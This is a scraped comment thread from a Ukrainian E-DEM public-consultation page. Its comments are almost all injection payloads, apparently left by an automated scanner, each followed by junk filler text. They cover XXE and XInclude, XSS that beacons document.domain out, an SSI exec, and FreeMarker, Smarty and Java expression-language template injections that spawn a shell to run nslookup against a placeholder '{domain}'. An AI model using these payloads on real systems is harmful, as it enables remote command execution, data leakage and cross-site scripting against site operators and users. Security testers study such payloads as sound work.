ldap://{domain}/cn=bar,dc=test,dc=org
Поскаржитися на зміст
asdsadasdasd asd dasd
" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://{domain}/x.xsd
Поскаржитися на зміст
asdsadasdasd asd dasd
<a xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://{domain}/x.xsd"><b></b></a>
Поскаржитися на зміст
asdsadasdasd asd dasd
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://{domain}/xincl"></xi:include></data>
Поскаржитися на зміст
asdsadasdasd asd dasd
<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE a SYSTEM "http://{domain}/xxx"><a></a>
Поскаржитися на зміст
asdsadasdasd asd dasd
*/--></script></title></textarea></noscript></style></xmp></noembed></comment></noframes></xml></iframe>"'><script>document.write('<img src=//{domain}/'+document.domain+'>')</script>
Поскаржитися на зміст
asdsadasdasd asd dasd
*/--></script></title></textarea></noscript></style></xmp></noembed></comment></noframes></xml></iframe>"'><img src="//{domain}/image.jpg">
Поскаржитися на зміст
asdsadasdasd asd dasd
"-->'-->`--><!--#set var="suc" value="rtb97y3o64"--><!--#set var="uwe" value="tvdb905q86"--><!--#echo var="suc"--><!--#echo var="uwe"--><!--#exec cmd="nslookup {domain}" -->
Поскаржитися на зміст
asdsadasdasd asd dasd
javascript:/*</script><img/onerror='-/"/-/ onmouseover=1/-/[`*/[]/[(new(Image)).src=(/;/+/rkf9yyuox44dahzjkookgz001r7ovej6au1koaczX;.{domain}/).replace(/.;/g,[])]//'src=>
Поскаржитися на зміст
asdsadasdasd asd dasd
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("nslookup {domain}") }
Поскаржитися на зміст
asdsadasdasd asd dasd
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['nslookup {domain}']); ?>",self::clearConfig())}
Поскаржитися на зміст
asdsadasdasd asd dasd
{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
http://{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
https://{domain}
Поскаржитися на зміст
asdsadasdasd asd dasd
{!xmlparser v='<!DOCTYPE a SYSTEM "http://{domain}/sr"><a></a>'}
Поскаржитися на зміст
asdsadasdasd asd dasd
" {!xmlparser v='<!DOCTYPE a SYSTEM "http://{domain}/sr"><a></a>'} "
Поскаржитися на зміст
asdsadasdasd asd dasd
") {!xmlparser v='<!DOCTYPE a SYSTEM "http://{domain}/sr"><a></a>'} ("
Поскаржитися на зміст
asdsadasdasd asd dasd
&shards={domain}/sr
Поскаржитися на зміст
asdsadasdasd asd dasd
#{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"nslookup {domain}\"]).start()")}
Поскаржитися на зміст
asdsadasdasd asd dasd
}#{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"nslookup {domain}\"]).start()")}#{
Поскаржитися на зміст
asdsadasdasd asd dasd
#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'/bin/sh\',\'-c\',\'nslookup {domain}\']).start()')}
Поскаржитися на зміст
asdsadasdasd asd dasd
}#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'/bin/sh\',\'-c\',\'nslookup {domain}\']).start()')}#{
Поскаржитися на зміст
asdsadasdasd asd dasd
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"nslookup {domain}\"]).start()")}
Поскаржитися на зміст
asdsadasdasd asd dasd
}${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"nslookup {domain}\"]).start()")}${
Поскаржитися на зміст
asdsadasdasd asd dasd
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'/bin/sh\',\'-c\',\'nslookup {domain}\']).start()')}
Поскаржитися на зміст
asdsadasdasd asd dasd
}${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'/bin/sh\',\'-c\',\'nslookup {domain}\']).start()')}${
Поскаржитися на зміст
Про обговорення
Як подавати пропозиції?
На платформі E-DEM (для зареєстрованих користувачів)
Де оприлюднюється звіт про проведення публічної консультації?
На платформі E-DEM